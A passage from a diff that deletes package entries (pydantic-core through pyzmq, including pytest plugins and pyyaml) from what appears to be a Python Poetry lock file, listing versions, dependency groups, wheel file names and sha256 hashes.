"sha256:242a206cd0318f95cd21bdacff3fcc3aab23e79bba5cac3db5a841c9ef9c6963"}, - {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:d3a978c4f57a597908b7e697229d996d77a6d3c94901e9edee593adada95ce1a"}, - {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b2379fa7ed44ddecb5bfe4e48577d752db9fc10be00a6b7446e9663ba143de26"}, - {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:266fb4cbf5e3cbd0b53669a6d1b039c45e3ce651fd5442eff4d07c2cc8d66808"}, - {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58133647260ea01e4d0500089a8c4f07bd7aa6ce109682b1426394988d8aaacc"}, - {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:287dad91cfb551c363dc62899a80e9e14da1f0e2b6ebde82c806612ca2a13ef1"}, - {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:03b77d184b9eb40240ae9fd676ca364ce1085f203e1b1256f8ab9984dca80a84"}, - {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:a668ce24de96165bb239160b3d854943128f4334822900534f2fe947930e5770"}, - {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:f14f8f046c14563f8eb3f45f499cc658ab8d10072961e07225e507adb700e93f"}, - {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:56121965f7a4dc965bff783d70b907ddf3d57f6eba29b6d2e5dabfaf07799c51"}, - {file = "pydantic_core-2.41.5.tar.gz", hash = "sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e"}, -] - -[package.dependencies] -typing-extensions = ">=4.14.1" - -[[package]] -name = "pygments" -version = "2.19.2" -description = "Pygments is a syntax highlighting package written in Python." -optional = false -python-versions = ">=3.8" -groups = ["dev", "docs"] -files = [ - {file = "pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b"}, - {file = "pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887"}, -] - -[package.extras] -windows-terminal = ["colorama (>=0.4.6)"] - -[[package]] -name = "pyjwt" -version = "2.11.0" -description = "JSON Web Token implementation in Python" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "pyjwt-2.11.0-py3-none-any.whl", hash = "sha256:94a6bde30eb5c8e04fee991062b534071fd1439ef58d2adc9ccb823e7bcd0469"}, - {file = "pyjwt-2.11.0.tar.gz", hash = "sha256:35f95c1f0fbe5d5ba6e43f00271c275f7a1a4db1dab27bf708073b75318ea623"}, -] - -[package.extras] -crypto = ["cryptography (>=3.4.0)"] -dev = ["coverage[toml] (==7.10.7)", "cryptography (>=3.4.0)", "pre-commit", "pytest (>=8.4.2,<9.0.0)", "sphinx", "sphinx-rtd-theme", "zope.interface"] -docs = ["sphinx", "sphinx-rtd-theme", "zope.interface"] -tests = ["coverage[toml] (==7.10.7)", "pytest (>=8.4.2,<9.0.0)"] - -[[package]] -name = "pymdown-extensions" -version = "10.20.1" -description = "Extension pack for Python Markdown." -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "pymdown_extensions-10.20.1-py3-none-any.whl", hash = "sha256:24af7feacbca56504b313b7b418c4f5e1317bb5fea60f03d57be7fcc40912aa0"}, - {file = "pymdown_extensions-10.20.1.tar.gz", hash = "sha256:e7e39c865727338d434b55f1dd8da51febcffcaebd6e1a0b9c836243f660740a"}, -] - -[package.dependencies] -markdown = ">=3.6" -pyyaml = "*" - -[package.extras] -extra = ["pygments (>=2.19.1)"] - -[[package]] -name = "pyparsing" -version = "3.3.2" -description = "pyparsing - Classes and methods to define and execute parsing grammars" -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d"}, - {file = "pyparsing-3.3.2.tar.gz", hash = "sha256:c777f4d763f140633dcb6d8a3eda953bf7a214dc4eff598413c070bcdc117cbc"}, -] - -[package.extras] -diagrams = ["jinja2", "railroad-diagrams"] - -[[package]] -name = "pytest" -version = "8.4.2" -description = "pytest: simple powerful testing with Python" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pytest-8.4.2-py3-none-any.whl", hash = "sha256:872f880de3fc3a5bdc88a11b39c9710c3497a547cfa9320bc3c5e62fbf272e79"}, - {file = "pytest-8.4.2.tar.gz", hash = "sha256:86c0d0b93306b961d58d62a4db4879f27fe25513d4b969df351abdddb3c30e01"}, -] - -[package.dependencies] -colorama = {version = ">=0.4", markers = "sys_platform == \"win32\""} -exceptiongroup = {version = ">=1", markers = "python_version < \"3.11\""} -iniconfig = ">=1" -packaging = ">=20" -pluggy = ">=1.5,<2" -pygments = ">=2.7.2" -tomli = {version = ">=1", markers = "python_version < \"3.11\""} - -[package.extras] -dev = ["argcomplete", "attrs (>=19.2)", "hypothesis (>=3.56)", "mock", "requests", "setuptools", "xmlschema"] - -[[package]] -name = "pytest-asyncio" -version = "1.2.0" -description = "Pytest support for asyncio" -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pytest_asyncio-1.2.0-py3-none-any.whl", hash = "sha256:8e17ae5e46d8e7efe51ab6494dd2010f4ca8dae51652aa3c8d55acf50bfb2e99"}, - {file = "pytest_asyncio-1.2.0.tar.gz", hash = "sha256:c609a64a2a8768462d0c99811ddb8bd2583c33fd33cf7f21af1c142e824ffb57"}, -] - -[package.dependencies] -backports-asyncio-runner = {version = ">=1.1,<2", markers = "python_version < \"3.11\""} -pytest = ">=8.2,<9" -typing-extensions = {version = ">=4.12", markers = "python_version < \"3.13\""} - -[package.extras] -docs = ["sphinx (>=5.3)", "sphinx-rtd-theme (>=1)"] -testing = ["coverage (>=6.2)", "hypothesis (>=5.7.1)"] - -[[package]] -name = "pytest-benchmark" -version = "5.2.3" -description = "A ``pytest`` fixture for benchmarking code. It will group the tests into rounds that are calibrated to the chosen timer." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pytest_benchmark-5.2.3-py3-none-any.whl", hash = "sha256:bc839726ad20e99aaa0d11a127445457b4219bdb9e80a1afc4b51da7f96b0803"}, - {file = "pytest_benchmark-5.2.3.tar.gz", hash = "sha256:deb7317998a23c650fd4ff76e1230066a76cb45dcece0aca5607143c619e7779"}, -] - -[package.dependencies] -py-cpuinfo = "*" -pytest = ">=8.1" - -[package.extras] -aspect = ["aspectlib"] -elasticsearch = ["elasticsearch"] -histogram = ["pygal", "pygaljs", "setuptools"] - -[[package]] -name = "pytest-cov" -version = "7.0.0" -description = "Pytest plugin for measuring coverage." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pytest_cov-7.0.0-py3-none-any.whl", hash = "sha256:3b8e9558b16cc1479da72058bdecf8073661c7f57f7d3c5f22a1c23507f2d861"}, - {file = "pytest_cov-7.0.0.tar.gz", hash = "sha256:33c97eda2e049a0c5298e91f519302a1334c26ac65c1a483d6206fd458361af1"}, -] - -[package.dependencies] -coverage = {version = ">=7.10.6", extras = ["toml"]} -pluggy = ">=1.2" -pytest = ">=7" - -[package.extras] -testing = ["process-tests", "pytest-xdist", "virtualenv"] - -[[package]] -name = "pytest-env" -version = "1.1.5" -description = "pytest plugin that allows you to add environment variables." -optional = false -python-versions = ">=3.8" -groups = ["dev"] -files = [ - {file = "pytest_env-1.1.5-py3-none-any.whl", hash = "sha256:ce90cf8772878515c24b31cd97c7fa1f4481cd68d588419fd45f10ecaee6bc30"}, - {file = "pytest_env-1.1.5.tar.gz", hash = "sha256:91209840aa0e43385073ac464a554ad2947cc2fd663a9debf88d03b01e0cc1cf"}, -] - -[package.dependencies] -pytest = ">=8.3.3" -tomli = {version = ">=2.0.1", markers = "python_version < \"3.11\""} - -[package.extras] -testing = ["covdefaults (>=2.3)", "coverage (>=7.6.1)", "pytest-mock (>=3.14)"] - -[[package]] -name = "pytest-httpserver" -version = "1.1.4" -description = "pytest-httpserver is a httpserver for pytest" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "pytest_httpserver-1.1.4-py3-none-any.whl", hash = "sha256:5dc73beae8cef139597cfdaab1b7f6bfe3551dd80965a6039e08498796053331"}, - {file = "pytest_httpserver-1.1.4.tar.gz", hash = "sha256:4d357402ae7e141f3914ed7cd25f3e24746ae928792dad60053daee4feae81fc"}, -] - -[package.dependencies] -Werkzeug = ">=2.0.0" - -[[package]] -name = "pytest-httpx" -version = "0.35.0" -description = "Send responses to httpx." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "pytest_httpx-0.35.0-py3-none-any.whl", hash = "sha256:ee11a00ffcea94a5cbff47af2114d34c5b231c326902458deed73f9c459fd744"}, - {file = "pytest_httpx-0.35.0.tar.gz", hash = "sha256:d619ad5d2e67734abfbb224c3d9025d64795d4b8711116b1a13f72a251ae511f"}, -] - -[package.dependencies] -httpx = "==0.28.*" -pytest = "==8.*" - -[package.extras] -testing = ["pytest-asyncio (==0.24.*)", "pytest-cov (==6.*)"] - -[[package]] -name = "pytest-rerunfailures" -version = "16.1" -description = "pytest plugin to re-run tests to eliminate flaky failures" -optional = false -python-versions = ">=3.10" -groups = ["dev"] -files = [ - {file = "pytest_rerunfailures-16.1-py3-none-any.whl", hash = "sha256:5d11b12c0ca9a1665b5054052fcc1084f8deadd9328962745ef6b04e26382e86"}, - {file = "pytest_rerunfailures-16.1.tar.gz", hash = "sha256:c38b266db8a808953ebd71ac25c381cb1981a78ff9340a14bcb9f1b9bff1899e"}, -] - -[package.dependencies] -packaging = ">=17.1" -pytest = ">=7.4,<8.2.2 || >8.2.2" - -[[package]] -name = "pytest-timeout" -version = "2.4.0" -description = "pytest plugin to abort hanging tests" -optional = false -python-versions = ">=3.7" -groups = ["dev"] -files = [ - {file = "pytest_timeout-2.4.0-py3-none-any.whl", hash = "sha256:c42667e5cdadb151aeb5b26d114aff6bdf5a907f176a007a30b940d3d865b5c2"}, - {file = "pytest_timeout-2.4.0.tar.gz", hash = "sha256:7e68e90b01f9eff71332b25001f85c75495fc4e3a836701876183c4bcfd0540a"}, -] - -[package.dependencies] -pytest = ">=7.0.0" - -[[package]] -name = "python-daemon" -version = "3.1.2" -description = "Library to implement a well-behaved Unix daemon process." -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "python_daemon-3.1.2-py3-none-any.whl", hash = "sha256:b906833cef63502994ad48e2eab213259ed9bb18d54fa8774dcba2ff7864cec6"}, - {file = "python_daemon-3.1.2.tar.gz", hash = "sha256:f7b04335adc473de877f5117e26d5f1142f4c9f7cd765408f0877757be5afbf4"}, -] - -[package.dependencies] -lockfile = ">=0.10" - -[package.extras] -build = ["build", "changelog-chug", "docutils", "python-daemon[doc]", "wheel"] -devel = ["python-daemon[dist,test]"] -dist = ["python-daemon[build]", "twine"] -static-analysis = ["isort (>=5.13,<6.0)", "pip-check", "pycodestyle (>=2.12,<3.0)", "pydocstyle (>=6.3,<7.0)", "pyupgrade (>=3.17,<4.0)"] -test = ["coverage", "python-daemon[build,static-analysis]", "testscenarios (>=0.4)", "testtools"] - -[[package]] -name = "python-dateutil" -version = "2.9.0.post0" -description = "Extensions to the standard Python datetime module" -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" -groups = ["docs"] -files = [ - {file = "python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3"}, - {file = "python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427"}, -] - -[package.dependencies] -six = ">=1.5" - -[[package]] -name = "pyyaml" -version = "6.0.3" -description = "YAML parser and emitter for Python" -optional = false -python-versions = ">=3.8" -groups = ["main", "dev", "docs"] -files = [ - {file = "PyYAML-6.0.3-cp38-cp38-macosx_10_13_x86_64.whl", hash = "sha256:c2514fceb77bc5e7a2f7adfaa1feb2fb311607c9cb518dbc378688ec73d8292f"}, - {file = "PyYAML-6.0.3-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9c57bb8c96f6d1808c030b1687b9b5fb476abaa47f0db9c0101f5e9f394e97f4"}, - {file = "PyYAML-6.0.3-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:efd7b85f94a6f21e4932043973a7ba2613b059c4a000551892ac9f1d11f5baf3"}, - {file = "PyYAML-6.0.3-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:22ba7cfcad58ef3ecddc7ed1db3409af68d023b7f940da23c6c2a1890976eda6"}, - {file = "PyYAML-6.0.3-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:6344df0d5755a2c9a276d4473ae6b90647e216ab4757f8426893b5dd2ac3f369"}, - {file = "PyYAML-6.0.3-cp38-cp38-win32.whl", hash = "sha256:3ff07ec89bae51176c0549bc4c63aa6202991da2d9a6129d7aef7f1407d3f295"}, - {file = "PyYAML-6.0.3-cp38-cp38-win_amd64.whl", hash = "sha256:5cf4e27da7e3fbed4d6c3d8e797387aaad68102272f8f9752883bc32d61cb87b"}, - {file = "pyyaml-6.0.3-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:214ed4befebe12df36bcc8bc2b64b396ca31be9304b8f59e25c11cf94a4c033b"}, - {file = "pyyaml-6.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:02ea2dfa234451bbb8772601d7b8e426c2bfa197136796224e50e35a78777956"}, - {file = "pyyaml-6.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b30236e45cf30d2b8e7b3e85881719e98507abed1011bf463a8fa23e9c3e98a8"}, - {file = "pyyaml-6.0.3-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:66291b10affd76d76f54fad28e22e51719ef9ba22b29e1d7d03d6777a9174198"}, - {file = "pyyaml-6.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9c7708761fccb9397fe64bbc0395abcae8c4bf7b0eac081e12b809bf47700d0b"}, - {file = "pyyaml-6.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:418cf3f2111bc80e0933b2cd8cd04f286338bb88bdc7bc8e6dd775ebde60b5e0"}, - {file = "pyyaml-6.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:5e0b74767e5f8c593e8c9b5912019159ed0533c70051e9cce3e8b6aa699fcd69"}, - {file = "pyyaml-6.0.3-cp310-cp310-win32.whl", hash = "sha256:28c8d926f98f432f88adc23edf2e6d4921ac26fb084b028c733d01868d19007e"}, - {file = "pyyaml-6.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:bdb2c67c6c1390b63c6ff89f210c8fd09d9a1217a465701eac7316313c915e4c"}, - {file = "pyyaml-6.0.3-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:44edc647873928551a01e7a563d7452ccdebee747728c1080d881d68af7b997e"}, - {file = "pyyaml-6.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:652cb6edd41e718550aad172851962662ff2681490a8a711af6a4d288dd96824"}, - {file = "pyyaml-6.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:10892704fc220243f5305762e276552a0395f7beb4dbf9b14ec8fd43b57f126c"}, - {file = "pyyaml-6.0.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:850774a7879607d3a6f50d36d04f00ee69e7fc816450e5f7e58d7f17f1ae5c00"}, - {file = "pyyaml-6.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b8bb0864c5a28024fac8a632c443c87c5aa6f215c0b126c449ae1a150412f31d"}, - {file = "pyyaml-6.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1d37d57ad971609cf3c53ba6a7e365e40660e3be0e5175fa9f2365a379d6095a"}, - {file = "pyyaml-6.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:37503bfbfc9d2c40b344d06b2199cf0e96e97957ab1c1b546fd4f87e53e5d3e4"}, - {file = "pyyaml-6.0.3-cp311-cp311-win32.whl", hash = "sha256:8098f252adfa6c80ab48096053f512f2321f0b998f98150cea9bd23d83e1467b"}, - {file = "pyyaml-6.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:9f3bfb4965eb874431221a3ff3fdcddc7e74e3b07799e0e84ca4a0f867d449bf"}, - {file = "pyyaml-6.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8cd6c83d342306c32270196"}, - {file = "pyyaml-6.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5d4a0"}, - {file = "pyyaml-6.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9149cad251584d5fb4981be1ecde53a1ca46c891a79788c0df828d2f166bda28"}, - {file = "pyyaml-6.0.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c"}, - {file = "pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc"}, - {file = "pyyaml-6.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e"}, - {file = "pyyaml-6.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea"}, - {file = "pyyaml-6.0.3-cp312-cp312-win32.whl", hash = "sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5"}, - {file = "pyyaml-6.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b"}, - {file = "pyyaml-6.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd"}, - {file = "pyyaml-6.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee0697eba8"}, - {file = "pyyaml-6.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1"}, - {file = "pyyaml-6.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c"}, - {file = "pyyaml-6.0.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5"}, - {file = "pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0f29edc409a6392443abf94b9cf89ce99889a1dd5376d94316ae5145dfedd5d6"}, - {file = "pyyaml-6.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6"}, - {file = "pyyaml-6.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be"}, - {file = "pyyaml-6.0.3-cp313-cp313-win32.whl", hash = "sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26"}, - {file = "pyyaml-6.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c"}, - {file = "pyyaml-6.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb"}, - {file = "pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac"}, - {file = "pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310"}, - {file = "pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7"}, - {file = "pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788"}, - {file = "pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5"}, - {file = "pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764"}, - {file = "pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35"}, - {file = "pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac"}, - {file = "pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3"}, - {file = "pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3"}, - {file = "pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba"}, - {file = "pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c"}, - {file = "pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702"}, - {file = "pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c"}, - {file = "pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065"}, - {file = "pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65"}, - {file = "pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9"}, - {file = "pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b"}, - {file = "pyyaml-6.0.3-cp39-cp39-macosx_10_13_x86_64.whl", hash = "sha256:b865addae83924361678b652338317d1bd7e79b1f4596f96b96c77a5a34b34da"}, - {file = "pyyaml-6.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:c3355370a2c156cffb25e876646f149d5d68f5e0a3ce86a5084dd0b64a994917"}, - {file = "pyyaml-6.0.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3c5677e12444c15717b902a5798264fa7909e41153cdf9ef7ad571b704a63dd9"}, - {file = "pyyaml-6.0.3-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5ed875a24292240029e4483f9d4a4b8a1ae08843b9c54f43fcc11e404532a8a5"}, - {file = "pyyaml-6.0.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0150219816b6a1fa26fb4699fb7daa9caf09eb1999f3b70fb6e786805e80375a"}, - {file = "pyyaml-6.0.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:fa160448684b4e94d80416c0fa4aac48967a969efe22931448d853ada8baf926"}, - {file = "pyyaml-6.0.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:27c0abcb4a5dac13684a37f76e701e054692a9b2d3064b70f5e4eb54810553d7"}, - {file = "pyyaml-6.0.3-cp39-cp39-win32.whl", hash = "sha256:1ebe39cb5fc479422b83de611d14e2c0d3bb2a18bbcb01f229ab3cfbd8fee7a0"}, - {file = "pyyaml-6.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:2e71d11abed7344e42a8849600193d15b6def118602c4c176f748e4583246007"}, - {file = "pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f"}, -] - -[[package]] -name = "pyyaml-env-tag" -version = "1.1" -description = "A custom YAML tag for referencing environment variables in YAML files." -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "pyyaml_env_tag-1.1-py3-none-any.whl", hash = "sha256:17109e1a528561e32f026364712fee1264bc2ea6715120891174ed1b980d2e04"}, - {file = "pyyaml_env_tag-1.1.tar.gz", hash = "sha256:2eb38b75a2d21ee0475d6d97ec19c63287a7e140231e4214969d0eac923cd7ff"}, -] - -[package.dependencies] -pyyaml = "*" - -[[package]] -name = "pyzmq" -version = "27.1.0" -description = "Python bindings for 0MQ" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "pyzmq-27.1.0-cp310-cp310-macosx_10_15_universal2.whl", hash = "sha256:508e23ec9bc44c0005c4946ea013d9317ae00ac67778bd47519fdf5a0e930ff4"}, - {file = "pyzmq-27.1.0-cp310-cp310-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:507b6f430bdcf0ee48c0d30e734ea89ce5567fd7b8a0f0044a369c176aa44556"}, - {file = "pyzmq-27.1.0-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bf7b38f9fd7b81cb6d9391b2946382c8237fd814075c6aa9c3b746d53076023b"}, - {file = "pyzmq-27.1.0-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:03ff0b279b40d687691a6217c12242ee71f0fba28bf8626ff50e3ef0f4410e1e"}, - {file = "pyzmq-27.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:677e744fee605753eac48198b15a2124016c009a11056f93807000ab11ce6526"}, - {file = "pyzmq-27.1.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:dd2fec2b13137416a1c5648b7009499bcc8fea78154cd888855fa32514f3dad1"}, - {file = "pyzmq-27.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:08e90bb4b57603b84eab1d0ca05b3bbb10f60c1839dc471fc1c9e1507bef3386"}, - {file = "pyzmq-27.1.0-cp310-cp310-win32.whl", hash = "sha256:a5b42d7a0658b515319148875fcb782bbf118dd41c671b62dae33666c2213bda"}, - {file = "pyzmq-27.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:c0bb87227430ee3aefcc0ade2088100e528d5d3298a0a715a64f3d04c60ba02f"}, - {file = "pyzmq-27.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:9a916f76c2ab8d045b19f2286851a38e9ac94ea91faf65bd64735924522a8b32"}, - {file = "pyzmq-27.1.0-cp311-cp311-macosx_10_15_universal2.whl", hash = "sha256:226b091818d461a3bef763805e75685e478ac17e9008f49fce2d3e52b3d58b86"}, - 